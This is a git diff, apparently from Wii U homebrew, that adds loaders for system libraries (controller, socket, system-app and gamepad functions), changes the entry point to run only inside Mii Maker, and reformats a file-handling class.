extern int (* LiWaitIopCompleteWithInterrupts)(int unknown_syscall_arg_r3, int * remaining_bytes);
|
||||||
|
|
||||||
|
|
||||||
|
#ifdef __cplusplus
|
||||||
|
}
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#endif // __OS_FUNCTIONS_H_
|
50
src/dynamic_libs/padscore_functions.c
Normal file
50
src/dynamic_libs/padscore_functions.c
Normal file
@ -0,0 +1,50 @@
|
|||||||
|
/****************************************************************************
|
||||||
|
* Copyright (C) 2015
|
||||||
|
* by Dimok
|
||||||
|
*
|
||||||
|
* This software is provided 'as-is', without any express or implied
|
||||||
|
* warranty. In no event will the authors be held liable for any
|
||||||
|
* damages arising from the use of this software.
|
||||||
|
*
|
||||||
|
* Permission is granted to anyone to use this software for any
|
||||||
|
* purpose, including commercial applications, and to alter it and
|
||||||
|
* redistribute it freely, subject to the following restrictions:
|
||||||
|
*
|
||||||
|
* 1. The origin of this software must not be misrepresented; you
|
||||||
|
* must not claim that you wrote the original software. If you use
|
||||||
|
* this software in a product, an acknowledgment in the product
|
||||||
|
* documentation would be appreciated but is not required.
|
||||||
|
*
|
||||||
|
* 2. Altered source versions must be plainly marked as such, and
|
||||||
|
* must not be misrepresented as being the original software.
|
||||||
|
*
|
||||||
|
* 3. This notice may not be removed or altered from any source
|
||||||
|
* distribution.
|
||||||
|
***************************************************************************/
|
||||||
|
#include "os_functions.h"
|
||||||
|
#include "padscore_functions.h"
|
||||||
|
|
||||||
|
EXPORT_DECL(void, KPADInit, void);
|
||||||
|
EXPORT_DECL(s32, WPADProbe, s32 chan, u32 * pad_type);
|
||||||
|
EXPORT_DECL(s32, WPADSetDataFormat, s32 chan, s32 format);
|
||||||
|
EXPORT_DECL(void, WPADEnableURCC, s32 enable);
|
||||||
|
EXPORT_DECL(void, WPADRead, s32 chan, void * data);
|
||||||
|
EXPORT_DECL(s32, KPADRead, s32 chan, void * data, u32 size);
|
||||||
|
|
||||||
|
void InitPadScoreFunctionPointers(void)
|
||||||
|
{
|
||||||
|
unsigned int *funcPointer = 0;
|
||||||
|
unsigned int padscore_handle;
|
||||||
|
OSDynLoad_Acquire("padscore.rpl", &padscore_handle);
|
||||||
|
|
||||||
|
OS_FIND_EXPORT(padscore_handle, KPADInit);
|
||||||
|
OS_FIND_EXPORT(padscore_handle, WPADProbe);
|
||||||
|
OS_FIND_EXPORT(padscore_handle, WPADSetDataFormat);
|
||||||
|
OS_FIND_EXPORT(padscore_handle, WPADEnableURCC);
|
||||||
|
OS_FIND_EXPORT(padscore_handle, WPADRead);
|
||||||
|
OS_FIND_EXPORT(padscore_handle, KPADRead);
|
||||||
|
|
||||||
|
KPADInit();
|
||||||
|
WPADEnableURCC(1);
|
||||||
|
}
|
||||||
|
|
122
src/dynamic_libs/padscore_functions.h
Normal file
122
src/dynamic_libs/padscore_functions.h
Normal file
@ -0,0 +1,122 @@
|
|||||||
|
/****************************************************************************
|
||||||
|
* Copyright (C) 2015
|
||||||
|
* by Dimok
|
||||||
|
*
|
||||||
|
* This software is provided 'as-is', without any express or implied
|
||||||
|
* warranty. In no event will the authors be held liable for any
|
||||||
|
* damages arising from the use of this software.
|
||||||
|
*
|
||||||
|
* Permission is granted to anyone to use this software for any
|
||||||
|
* purpose, including commercial applications, and to alter it and
|
||||||
|
* redistribute it freely, subject to the following restrictions:
|
||||||
|
*
|
||||||
|
* 1. The origin of this software must not be misrepresented; you
|
||||||
|
* must not claim that you wrote the original software. If you use
|
||||||
|
* this software in a product, an acknowledgment in the product
|
||||||
|
* documentation would be appreciated but is not required.
|
||||||
|
*
|
||||||
|
* 2. Altered source versions must be plainly marked as such, and
|
||||||
|
* must not be misrepresented as being the original software.
|
||||||
|
*
|
||||||
|
* 3. This notice may not be removed or altered from any source
|
||||||
|
* distribution.
|
||||||
|
***************************************************************************/
|
||||||
|
#ifndef __PAD_SCORE_FUNCTIONS_H_
|
||||||
|
#define __PAD_SCORE_FUNCTIONS_H_
|
||||||
|
|
||||||
|
#ifdef __cplusplus
|
||||||
|
extern "C" {
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#include <gctypes.h>
|
||||||
|
|
||||||
|
#define WPAD_BUTTON_LEFT 0x0001
|
||||||
|
#define WPAD_BUTTON_RIGHT 0x0002
|
||||||
|
#define WPAD_BUTTON_DOWN 0x0004
|
||||||
|
#define WPAD_BUTTON_UP 0x0008
|
||||||
|
#define WPAD_BUTTON_PLUS 0x0010
|
||||||
|
#define WPAD_BUTTON_2 0x0100
|
||||||
|
#define WPAD_BUTTON_1 0x0200
|
||||||
|
#define WPAD_BUTTON_B 0x0400
|
||||||
|
#define WPAD_BUTTON_A 0x0800
|
||||||
|
#define WPAD_BUTTON_MINUS 0x1000
|
||||||
|
#define WPAD_BUTTON_Z 0x2000
|
||||||
|
#define WPAD_BUTTON_C 0x4000
|
||||||
|
#define WPAD_BUTTON_HOME 0x8000
|
||||||
|
|
||||||
|
#define WPAD_CLASSIC_BUTTON_UP 0x0001
|
||||||
|
#define WPAD_CLASSIC_BUTTON_LEFT 0x0002
|
||||||
|
#define WPAD_CLASSIC_BUTTON_ZR 0x0004
|
||||||
|
#define WPAD_CLASSIC_BUTTON_X 0x0008
|
||||||
|
#define WPAD_CLASSIC_BUTTON_A 0x0010
|
||||||
|
#define WPAD_CLASSIC_BUTTON_Y 0x0020
|
||||||
|
#define WPAD_CLASSIC_BUTTON_B 0x0040
|
||||||
|
#define WPAD_CLASSIC_BUTTON_ZL 0x0080
|
||||||
|
#define WPAD_CLASSIC_BUTTON_R 0x0200
|
||||||
|
#define WPAD_CLASSIC_BUTTON_PLUS 0x0400
|
||||||
|
#define WPAD_CLASSIC_BUTTON_HOME 0x0800
|
||||||
|
#define WPAD_CLASSIC_BUTTON_MINUS 0x1000
|
||||||
|
#define WPAD_CLASSIC_BUTTON_L 0x2000
|
||||||
|
#define WPAD_CLASSIC_BUTTON_DOWN 0x4000
|
||||||
|
#define WPAD_CLASSIC_BUTTON_RIGHT 0x8000
|
||||||
|
|
||||||
|
void InitPadScoreFunctionPointers(void);
|
||||||
|
|
||||||
|
|
||||||
|
typedef struct _KPADData
|
||||||
|
{
|
||||||
|
u32 btns_h;
|
||||||
|
u32 btns_d;
|
||||||
|
u32 btns_r;
|
||||||
|
u32 unused_1[5];
|
||||||
|
f32 pos_x;
|
||||||
|
f32 pos_y;
|
||||||
|
u32 unused_2[3];
|
||||||
|
f32 angle_x;
|
||||||
|
f32 angle_y;
|
||||||
|
u32 unused_3[8];
|
||||||
|
u8 device_type;
|
||||||
|
u8 wpad_error;
|
||||||
|
u8 pos_valid;
|
||||||
|
u8 unused_4[1];
|
||||||
|
|
||||||
|
union
|
||||||
|
{
|
||||||
|
struct
|
||||||
|
{
|
||||||
|
f32 stick_x;
|
||||||
|
f32 stick_y;
|
||||||
|
} nunchuck;
|
||||||
|
|
||||||
|
struct
|
||||||
|
{
|
||||||
|
u32 btns_h;
|
||||||
|
u32 btns_d;
|
||||||
|
u32 btns_r;
|
||||||
|
f32 lstick_x;
|
||||||
|
f32 lstick_y;
|
||||||
|
f32 rstick_x;
|
||||||
|
f32 rstick_y;
|
||||||
|
f32 ltrigger;
|
||||||
|
f32 rtrigger;
|
||||||
|
} classic;
|
||||||
|
|
||||||
|
u32 unused_6[20];
|
||||||
|
};
|
||||||
|
u32 unused_7[16];
|
||||||
|
} KPADData;
|
||||||
|
|
||||||
|
typedef void (* wpad_connect_callback_t)(s32 chan, s32 status);
|
||||||
|
|
||||||
|
extern void (* KPADInit)(void);
|
||||||
|
extern s32 (* WPADProbe)(s32 chan, u32 * pad_type);
|
||||||
|
extern s32 (* WPADSetDataFormat)(s32 chan, s32 format);
|
||||||
|
extern void (* WPADEnableURCC)(s32 enable);
|
||||||
|
extern void (* WPADRead)(s32 chan, void * data);
|
||||||
|
extern s32 (* KPADRead)(s32 chan, void * data, u32 size);
|
||||||
|
|
||||||
|
#ifdef __cplusplus
|
||||||
|
}
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#endif // __PAD_SCORE_FUNCTIONS_H_
|
67
src/dynamic_libs/socket_functions.c
Normal file
67
src/dynamic_libs/socket_functions.c
Normal file
@ -0,0 +1,67 @@
|
|||||||
|
/****************************************************************************
|
||||||
|
* Copyright (C) 2015
|
||||||
|
* by Dimok
|
||||||
|
*
|
||||||
|
* This software is provided 'as-is', without any express or implied
|
||||||
|
* warranty. In no event will the authors be held liable for any
|
||||||
|
* damages arising from the use of this software.
|
||||||
|
*
|
||||||
|
* Permission is granted to anyone to use this software for any
|
||||||
|
* purpose, including commercial applications, and to alter it and
|
||||||
|
* redistribute it freely, subject to the following restrictions:
|
||||||
|
*
|
||||||
|
* 1. The origin of this software must not be misrepresented; you
|
||||||
|
* must not claim that you wrote the original software. If you use
|
||||||
|
* this software in a product, an acknowledgment in the product
|
||||||
|
* documentation would be appreciated but is not required.
|
||||||
|
*
|
||||||
|
* 2. Altered source versions must be plainly marked as such, and
|
||||||
|
* must not be misrepresented as being the original software.
|
||||||
|
*
|
||||||
|
* 3. This notice may not be removed or altered from any source
|
||||||
|
* distribution.
|
||||||
|
***************************************************************************/
|
||||||
|
#include "os_functions.h"
|
||||||
|
#include "socket_functions.h"
|
||||||
|
|
||||||
|
u32 hostIpAddress = 0;
|
||||||
|
|
||||||
|
EXPORT_DECL(void, socket_lib_init, void);
|
||||||
|
EXPORT_DECL(int, socket, int domain, int type, int protocol);
|
||||||
|
EXPORT_DECL(int, socketclose, int s);
|
||||||
|
EXPORT_DECL(int, shutdown, int s, int how);
|
||||||
|
EXPORT_DECL(int, connect, int s, void *addr, int addrlen);
|
||||||
|
EXPORT_DECL(int, bind, s32 s,struct sockaddr *name,s32 namelen);
|
||||||
|
EXPORT_DECL(int, listen, s32 s,u32 backlog);
|
||||||
|
EXPORT_DECL(int, accept, s32 s,struct sockaddr *addr,s32 *addrlen);
|
||||||
|
EXPORT_DECL(int, send, int s, const void *buffer, int size, int flags);
|
||||||
|
EXPORT_DECL(int, recv, int s, void *buffer, int size, int flags);
|
||||||
|
EXPORT_DECL(int, sendto, int s, const void *buffer, int size, int flags, const struct sockaddr *dest, int dest_len);
|
||||||
|
EXPORT_DECL(int, setsockopt, int s, int level, int optname, void *optval, int optlen);
|
||||||
|
EXPORT_DECL(char *, inet_ntoa, struct in_addr in);
|
||||||
|
EXPORT_DECL(int, inet_aton, const char *cp, struct in_addr *inp);
|
||||||
|
|
||||||
|
void InitSocketFunctionPointers(void)
|
||||||
|
{
|
||||||
|
unsigned int nsysnet_handle;
|
||||||
|
unsigned int *funcPointer = 0;
|
||||||
|
OSDynLoad_Acquire("nsysnet.rpl", &nsysnet_handle);
|
||||||
|
|
||||||
|
OS_FIND_EXPORT(nsysnet_handle, socket_lib_init);
|
||||||
|
OS_FIND_EXPORT(nsysnet_handle, socket);
|
||||||
|
OS_FIND_EXPORT(nsysnet_handle, socketclose);
|
||||||
|
OS_FIND_EXPORT(nsysnet_handle, shutdown);
|
||||||
|
OS_FIND_EXPORT(nsysnet_handle, connect);
|
||||||
|
OS_FIND_EXPORT(nsysnet_handle, bind);
|
||||||
|
OS_FIND_EXPORT(nsysnet_handle, listen);
|
||||||
|
OS_FIND_EXPORT(nsysnet_handle, accept);
|
||||||
|
OS_FIND_EXPORT(nsysnet_handle, send);
|
||||||
|
OS_FIND_EXPORT(nsysnet_handle, recv);
|
||||||
|
OS_FIND_EXPORT(nsysnet_handle, sendto);
|
||||||
|
OS_FIND_EXPORT(nsysnet_handle, setsockopt);
|
||||||
|
OS_FIND_EXPORT(nsysnet_handle, inet_ntoa);
|
||||||
|
OS_FIND_EXPORT(nsysnet_handle, inet_aton);
|
||||||
|
|
||||||
|
socket_lib_init();
|
||||||
|
}
|
||||||
|
|
99
src/dynamic_libs/socket_functions.h
Normal file
99
src/dynamic_libs/socket_functions.h
Normal file
@ -0,0 +1,99 @@
|
|||||||
|
/****************************************************************************
|
||||||
|
* Copyright (C) 2015
|
||||||
|
* by Dimok
|
||||||
|
*
|
||||||
|
* This software is provided 'as-is', without any express or implied
|
||||||
|
* warranty. In no event will the authors be held liable for any
|
||||||
|
* damages arising from the use of this software.
|
||||||
|
*
|
||||||
|
* Permission is granted to anyone to use this software for any
|
||||||
|
* purpose, including commercial applications, and to alter it and
|
||||||
|
* redistribute it freely, subject to the following restrictions:
|
||||||
|
*
|
||||||
|
* 1. The origin of this software must not be misrepresented; you
|
||||||
|
* must not claim that you wrote the original software. If you use
|
||||||
|
* this software in a product, an acknowledgment in the product
|
||||||
|
* documentation would be appreciated but is not required.
|
||||||
|
*
|
||||||
|
* 2. Altered source versions must be plainly marked as such, and
|
||||||
|
* must not be misrepresented as being the original software.
|
||||||
|
*
|
||||||
|
* 3. This notice may not be removed or altered from any source
|
||||||
|
* distribution.
|
||||||
|
***************************************************************************/
|
||||||
|
#ifndef __SOCKET_FUNCTIONS_H_
|
||||||
|
#define __SOCKET_FUNCTIONS_H_
|
||||||
|
|
||||||
|
#ifdef __cplusplus
|
||||||
|
extern "C" {
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#include <gctypes.h>
|
||||||
|
|
||||||
|
#define INADDR_ANY 0
|
||||||
|
|
||||||
|
#define AF_INET 2
|
||||||
|
|
||||||
|
#define SHUT_RD 0
|
||||||
|
#define SHUT_WR 1
|
||||||
|
#define SHUT_RDWR 2
|
||||||
|
|
||||||
|
#define SOCK_STREAM 1
|
||||||
|
#define SOCK_DGRAM 2
|
||||||
|
|
||||||
|
#define IPPROTO_IP 0
|
||||||
|
#define IPPROTO_TCP 6
|
||||||
|
#define IPPROTO_UDP 17
|
||||||
|
|
||||||
|
#define TCP_NODELAY 0x2004
|
||||||
|
|
||||||
|
#define SOL_SOCKET -1
|
||||||
|
#define SO_REUSEADDR 0x0004
|
||||||
|
#define SO_NONBLOCK 0x1016
|
||||||
|
#define SO_MYADDR 0x1013
|
||||||
|
|
||||||
|
#define htonl(x) x
|
||||||
|
#define htons(x) x
|
||||||
|
#define ntohl(x) x
|
||||||
|
#define ntohs(x) x
|
||||||
|
|
||||||
|
|
||||||
|
struct in_addr {
|
||||||
|
unsigned int s_addr;
|
||||||
|
};
|
||||||
|
struct sockaddr_in {
|
||||||
|
short sin_family;
|
||||||
|
unsigned short sin_port;
|
||||||
|
struct in_addr sin_addr;
|
||||||
|
char sin_zero[8];
|
||||||
|
};
|
||||||
|
|
||||||
|
struct sockaddr
|
||||||
|
{
|
||||||
|
unsigned short sa_family;
|
||||||
|
char sa_data[14];
|
||||||
|
};
|
||||||
|
|
||||||
|
void InitSocketFunctionPointers(void);
|
||||||
|
|
||||||
|
extern void (*socket_lib_init)(void);
|
||||||
|
extern int (*socket)(int domain, int type, int protocol);
|
||||||
|
extern int (*socketclose)(int s);
|
||||||
|
extern int (*shutdown)(int s, int how);
|
||||||
|
extern int (*connect)(int s, void *addr, int addrlen);
|
||||||
|
extern int (*bind)(s32 s,struct sockaddr *name,s32 namelen);
|
||||||
|
extern int (*listen)(s32 s,u32 backlog);
|
||||||
|
extern int (*accept)(s32 s,struct sockaddr *addr,s32 *addrlen);
|
||||||
|
extern int (*send)(int s, const void *buffer, int size, int flags);
|
||||||
|
extern int (*recv)(int s, void *buffer, int size, int flags);
|
||||||
|
extern int (*sendto)(int s, const void *buffer, int size, int flags, const struct sockaddr *dest, int dest_len);
|
||||||
|
extern int (*setsockopt)(int s, int level, int optname, void *optval, int optlen);
|
||||||
|
|
||||||
|
extern char * (*inet_ntoa)(struct in_addr in);
|
||||||
|
extern int (*inet_aton)(const char *cp, struct in_addr *inp);
|
||||||
|
|
||||||
|
#ifdef __cplusplus
|
||||||
|
}
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#endif // __SOCKET_FUNCTIONS_H_
|
40
src/dynamic_libs/sys_functions.c
Normal file
40
src/dynamic_libs/sys_functions.c
Normal file
@ -0,0 +1,40 @@
|
|||||||
|
/****************************************************************************
|
||||||
|
* Copyright (C) 2015
|
||||||
|
* by Dimok
|
||||||
|
*
|
||||||
|
* This software is provided 'as-is', without any express or implied
|
||||||
|
* warranty. In no event will the authors be held liable for any
|
||||||
|
* damages arising from the use of this software.
|
||||||
|
*
|
||||||
|
* Permission is granted to anyone to use this software for any
|
||||||
|
* purpose, including commercial applications, and to alter it and
|
||||||
|
* redistribute it freely, subject to the following restrictions:
|
||||||
|
*
|
||||||
|
* 1. The origin of this software must not be misrepresented; you
|
||||||
|
* must not claim that you wrote the original software. If you use
|
||||||
|
* this software in a product, an acknowledgment in the product
|
||||||
|
* documentation would be appreciated but is not required.
|
||||||
|
*
|
||||||
|
* 2. Altered source versions must be plainly marked as such, and
|
||||||
|
* must not be misrepresented as being the original software.
|
||||||
|
*
|
||||||
|
* 3. This notice may not be removed or altered from any source
|
||||||
|
* distribution.
|
||||||
|
***************************************************************************/
|
||||||
|
#include "os_functions.h"
|
||||||
|
|
||||||
|
EXPORT_DECL(void, _SYSLaunchTitleByPathFromLauncher, const char* path, int len, int zero);
|
||||||
|
EXPORT_DECL(int, SYSRelaunchTitle, int argc, char* argv);
|
||||||
|
EXPORT_DECL(int, SYSLaunchMenu, void);
|
||||||
|
|
||||||
|
void InitSysFunctionPointers(void)
|
||||||
|
{
|
||||||
|
unsigned int *funcPointer = 0;
|
||||||
|
unsigned int sysapp_handle;
|
||||||
|
OSDynLoad_Acquire("sysapp.rpl", &sysapp_handle);
|
||||||
|
|
||||||
|
OS_FIND_EXPORT(sysapp_handle, _SYSLaunchTitleByPathFromLauncher);
|
||||||
|
OS_FIND_EXPORT(sysapp_handle, SYSRelaunchTitle);
|
||||||
|
OS_FIND_EXPORT(sysapp_handle, SYSLaunchMenu);
|
||||||
|
}
|
||||||
|
|
42
src/dynamic_libs/sys_functions.h
Normal file
42
src/dynamic_libs/sys_functions.h
Normal file
@ -0,0 +1,42 @@
|
|||||||
|
/****************************************************************************
|
||||||
|
* Copyright (C) 2015
|
||||||
|
* by Dimok
|
||||||
|
*
|
||||||
|
* This software is provided 'as-is', without any express or implied
|
||||||
|
* warranty. In no event will the authors be held liable for any
|
||||||
|
* damages arising from the use of this software.
|
||||||
|
*
|
||||||
|
* Permission is granted to anyone to use this software for any
|
||||||
|
* purpose, including commercial applications, and to alter it and
|
||||||
|
* redistribute it freely, subject to the following restrictions:
|
||||||
|
*
|
||||||
|
* 1. The origin of this software must not be misrepresented; you
|
||||||
|
* must not claim that you wrote the original software. If you use
|
||||||
|
* this software in a product, an acknowledgment in the product
|
||||||
|
* documentation would be appreciated but is not required.
|
||||||
|
*
|
||||||
|
* 2. Altered source versions must be plainly marked as such, and
|
||||||
|
* must not be misrepresented as being the original software.
|
||||||
|
*
|
||||||
|
* 3. This notice may not be removed or altered from any source
|
||||||
|
* distribution.
|
||||||
|
***************************************************************************/
|
||||||
|
#ifndef __SYS_FUNCTIONS_H_
|
||||||
|
#define __SYS_FUNCTIONS_H_
|
||||||
|
|
||||||
|
#ifdef __cplusplus
|
||||||
|
extern "C" {
|
||||||
|
#endif
|
||||||
|
|
||||||
|
void InitSysFunctionPointers(void);
|
||||||
|
|
||||||
|
extern void(*_SYSLaunchTitleByPathFromLauncher)(const char* path, int len, int zero);
|
||||||
|
extern int (* SYSRelaunchTitle)(int argc, char* argv);
|
||||||
|
extern int (* SYSLaunchMenu)(void);
|
||||||
|
|
||||||
|
|
||||||
|
#ifdef __cplusplus
|
||||||
|
}
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#endif // __SYS_FUNCTIONS_H_
|
37
src/dynamic_libs/vpad_functions.c
Normal file
37
src/dynamic_libs/vpad_functions.c
Normal file
@ -0,0 +1,37 @@
|
|||||||
|
/****************************************************************************
|
||||||
|
* Copyright (C) 2015
|
||||||
|
* by Dimok
|
||||||
|
*
|
||||||
|
* This software is provided 'as-is', without any express or implied
|
||||||
|
* warranty. In no event will the authors be held liable for any
|
||||||
|
* damages arising from the use of this software.
|
||||||
|
*
|
||||||
|
* Permission is granted to anyone to use this software for any
|
||||||
|
* purpose, including commercial applications, and to alter it and
|
||||||
|
* redistribute it freely, subject to the following restrictions:
|
||||||
|
*
|
||||||
|
* 1. The origin of this software must not be misrepresented; you
|
||||||
|
* must not claim that you wrote the original software. If you use
|
||||||
|
* this software in a product, an acknowledgment in the product
|
||||||
|
* documentation would be appreciated but is not required.
|
||||||
|
*
|
||||||
|
* 2. Altered source versions must be plainly marked as such, and
|
||||||
|
* must not be misrepresented as being the original software.
|
||||||
|
*
|
||||||
|
* 3. This notice may not be removed or altered from any source
|
||||||
|
* distribution.
|
||||||
|
***************************************************************************/
|
||||||
|
#include "os_functions.h"
|
||||||
|
#include "vpad_functions.h"
|
||||||
|
|
||||||
|
EXPORT_DECL(void, VPADRead, int chan, VPADData *buffer, u32 buffer_size, s32 *error);
|
||||||
|
|
||||||
|
void InitVPadFunctionPointers(void)
|
||||||
|
{
|
||||||
|
unsigned int *funcPointer = 0;
|
||||||
|
unsigned int vpad_handle;
|
||||||
|
OSDynLoad_Acquire("vpad.rpl", &vpad_handle);
|
||||||
|
|
||||||
|
OS_FIND_EXPORT(vpad_handle, VPADRead);
|
||||||
|
}
|
||||||
|
|
101
src/dynamic_libs/vpad_functions.h
Normal file
101
src/dynamic_libs/vpad_functions.h
Normal file
@ -0,0 +1,101 @@
|
|||||||
|
/****************************************************************************
|
||||||
|
* Copyright (C) 2015
|
||||||
|
* by Dimok
|
||||||
|
*
|
||||||
|
* This software is provided 'as-is', without any express or implied
|
||||||
|
* warranty. In no event will the authors be held liable for any
|
||||||
|
* damages arising from the use of this software.
|
||||||
|
*
|
||||||
|
* Permission is granted to anyone to use this software for any
|
||||||
|
* purpose, including commercial applications, and to alter it and
|
||||||
|
* redistribute it freely, subject to the following restrictions:
|
||||||
|
*
|
||||||
|
* 1. The origin of this software must not be misrepresented; you
|
||||||
|
* must not claim that you wrote the original software. If you use
|
||||||
|
* this software in a product, an acknowledgment in the product
|
||||||
|
* documentation would be appreciated but is not required.
|
||||||
|
*
|
||||||
|
* 2. Altered source versions must be plainly marked as such, and
|
||||||
|
* must not be misrepresented as being the original software.
|
||||||
|
*
|
||||||
|
* 3. This notice may not be removed or altered from any source
|
||||||
|
* distribution.
|
||||||
|
***************************************************************************/
|
||||||
|
#ifndef __VPAD_FUNCTIONS_H_
|
||||||
|
#define __VPAD_FUNCTIONS_H_
|
||||||
|
|
||||||
|
#ifdef __cplusplus
|
||||||
|
extern "C" {
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#include <gctypes.h>
|
||||||
|
|
||||||
|
#define VPAD_BUTTON_A 0x8000
|
||||||
|
#define VPAD_BUTTON_B 0x4000
|
||||||
|
#define VPAD_BUTTON_X 0x2000
|
||||||
|
#define VPAD_BUTTON_Y 0x1000
|
||||||
|
#define VPAD_BUTTON_LEFT 0x0800
|
||||||
|
#define VPAD_BUTTON_RIGHT 0x0400
|
||||||
|
#define VPAD_BUTTON_UP 0x0200
|
||||||
|
#define VPAD_BUTTON_DOWN 0x0100
|
||||||
|
#define VPAD_BUTTON_ZL 0x0080
|
||||||
|
#define VPAD_BUTTON_ZR 0x0040
|
||||||
|
#define VPAD_BUTTON_L 0x0020
|
||||||
|
#define VPAD_BUTTON_R 0x0010
|
||||||
|
#define VPAD_BUTTON_PLUS 0x0008
|
||||||
|
#define VPAD_BUTTON_MINUS 0x0004
|
||||||
|
#define VPAD_BUTTON_HOME 0x0002
|
||||||
|
#define VPAD_BUTTON_SYNC 0x0001
|
||||||
|
#define VPAD_BUTTON_STICK_R 0x00020000
|
||||||
|
#define VPAD_BUTTON_STICK_L 0x00040000
|
||||||
|
#define VPAD_BUTTON_TV 0x00010000
|
||||||
|
|
||||||
|
#define VPAD_STICK_R_EMULATION_LEFT 0x04000000
|
||||||
|
#define VPAD_STICK_R_EMULATION_RIGHT 0x02000000
|
||||||
|
#define VPAD_STICK_R_EMULATION_UP 0x01000000
|
||||||
|
#define VPAD_STICK_R_EMULATION_DOWN 0x00800000
|
||||||
|
|
||||||
|
#define VPAD_STICK_L_EMULATION_LEFT 0x40000000
|
||||||
|
#define VPAD_STICK_L_EMULATION_RIGHT 0x20000000
|
||||||
|
#define VPAD_STICK_L_EMULATION_UP 0x10000000
|
||||||
|
#define VPAD_STICK_L_EMULATION_DOWN 0x08000000
|
||||||
|
|
||||||
|
|
||||||
|
typedef struct
|
||||||
|
{
|
||||||
|
f32 x,y;
|
||||||
|
} Vec2D;
|
||||||
|
|
||||||
|
typedef struct
|
||||||
|
{
|
||||||
|
u16 x, y; /* Touch coordinates */
|
||||||
|
u16 touched; /* 1 = Touched, 0 = Not touched */
|
||||||
|
u16 invalid; /* 0 = All valid, 1 = X invalid, 2 = Y invalid, 3 = Both invalid? */
|
||||||
|
} VPADTPData;
|
||||||
|
|
||||||
|
typedef struct
|
||||||
|
{
|
||||||
|
u32 btns_h; /* Held buttons */
|
||||||
|
u32 btns_d; /* Buttons that are pressed at that instant */
|
||||||
|
u32 btns_r; /* Released buttons */
|
||||||
|
Vec2D lstick, rstick; /* Each contains 4-byte X and Y components */
|
||||||
|
char unknown1c[0x52 - 0x1c]; /* Contains accelerometer and gyroscope data somewhere */
|
||||||
|
VPADTPData tpdata; /* Normal touchscreen data */
|
||||||
|
VPADTPData tpdata1; /* Modified touchscreen data 1 */
|
||||||
|
VPADTPData tpdata2; /* Modified touchscreen data 2 */
|
||||||
|
char unknown6a[0xa0 - 0x6a];
|
||||||
|
uint8_t volume;
|
||||||
|
uint8_t battery; /* 0 to 6 */
|
||||||
|
uint8_t unk_volume; /* One less than volume */
|
||||||
|
char unknowna4[0xac - 0xa4];
|
||||||
|
} VPADData;
|
||||||
|
|
||||||
|
void InitVPadFunctionPointers(void);
|
||||||
|
|
||||||
|
extern void (* VPADRead)(int chan, VPADData *buffer, u32 buffer_size, s32 *error);
|
||||||
|
|
||||||
|
#ifdef __cplusplus
|
||||||
|
}
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#endif // __VPAD_FUNCTIONS_H_
|
21
src/entry.c
21
src/entry.c
@ -1,12 +1,29 @@
|
|||||||
#include <string.h>
|
#include <string.h>
|
||||||
#include <coreinit/title.h>
|
#include "dynamic_libs/os_functions.h"
|
||||||
|
#include "dynamic_libs/sys_functions.h"
|
||||||
#include "common/common.h"
|
#include "common/common.h"
|
||||||
#include "utils/utils.h"
|
#include "utils/utils.h"
|
||||||
#include "main.h"
|
#include "main.h"
|
||||||
|
|
||||||
static volatile uint8_t ucRunOnce = 0;
|
static volatile uint8_t ucRunOnce = 0;
|
||||||
|
|
||||||
int main(int argc, char **argv) {
|
int __entry_menu(int argc, char **argv)
|
||||||
|
{
|
||||||
|
//! *******************************************************************
|
||||||
|
//! * Check if our application is started *
|
||||||
|
//! *******************************************************************
|
||||||
|
if (OSGetTitleID != 0 &&
|
||||||
|
OSGetTitleID() != 0x000500101004A200 && // mii maker eur
|
||||||
|
OSGetTitleID() != 0x000500101004A100 && // mii maker usa
|
||||||
|
OSGetTitleID() != 0x000500101004A000) // mii maker jpn
|
||||||
|
return EXIT_RELAUNCH_ON_LOAD;
|
||||||
|
|
||||||
|
//! check if application needs a re-load
|
||||||
|
if(ucRunOnce) {
|
||||||
|
return EXIT_SUCCESS;
|
||||||
|
}
|
||||||
|
ucRunOnce = 1;
|
||||||
|
|
||||||
//! *******************************************************************
|
//! *******************************************************************
|
||||||
//! * Jump to our application *
|
//! * Jump to our application *
|
||||||
//! *******************************************************************
|
//! *******************************************************************
|
||||||
|
116
src/fs/CFile.cpp
116
src/fs/CFile.cpp
@ -1,51 +1,52 @@
|
|||||||
|
|
||||||
#include <stdarg.h>
|
#include <stdarg.h>
|
||||||
#include <stdlib.h>
|
#include <stdlib.h>
|
||||||
#include <stdio.h>
|
#include "CFile.hpp"
|
||||||
#include <strings.h>
|
|
||||||
#include <fs/CFile.hpp>
|
|
||||||
|
|
||||||
CFile::CFile() {
|
CFile::CFile()
|
||||||
|
{
|
||||||
iFd = -1;
|
iFd = -1;
|
||||||
mem_file = NULL;
|
mem_file = NULL;
|
||||||
filesize = 0;
|
filesize = 0;
|
||||||
pos = 0;
|
pos = 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
CFile::CFile(const std::string & filepath, eOpenTypes mode) {
|
CFile::CFile(const std::string & filepath, eOpenTypes mode)
|
||||||
|
{
|
||||||
iFd = -1;
|
iFd = -1;
|
||||||
this->open(filepath, mode);
|
this->open(filepath, mode);
|
||||||
}
|
}
|
||||||
|
|
||||||
CFile::CFile(const uint8_t * mem, int32_t size) {
|
CFile::CFile(const u8 * mem, int size)
|
||||||
|
{
|
||||||
iFd = -1;
|
iFd = -1;
|
||||||
this->open(mem, size);
|
this->open(mem, size);
|
||||||
}
|
}
|
||||||
|
|
||||||
CFile::~CFile() {
|
CFile::~CFile()
|
||||||
|
{
|
||||||
this->close();
|
this->close();
|
||||||
}
|
}
|
||||||
|
|
||||||
int32_t CFile::open(const std::string & filepath, eOpenTypes mode) {
|
int CFile::open(const std::string & filepath, eOpenTypes mode)
|
||||||
|
{
|
||||||
this->close();
|
this->close();
|
||||||
int32_t openMode = 0;
|
|
||||||
|
|
||||||
// This depend on the devoptab implementation.
|
s32 openMode = 0;
|
||||||
// see https://github.com/devkitPro/wut/blob/master/libraries/wutdevoptab/devoptab_fs_open.c#L21 fpr reference
|
|
||||||
|
|
||||||
switch(mode) {
|
switch(mode)
|
||||||
|
{
|
||||||
default:
|
default:
|
||||||
case ReadOnly: // file must exist
|
case ReadOnly:
|
||||||
openMode = O_RDONLY;
|
openMode = O_RDONLY;
|
||||||
break;
|
break;
|
||||||
case WriteOnly: // file will be created / zerod
|
case WriteOnly:
|
||||||
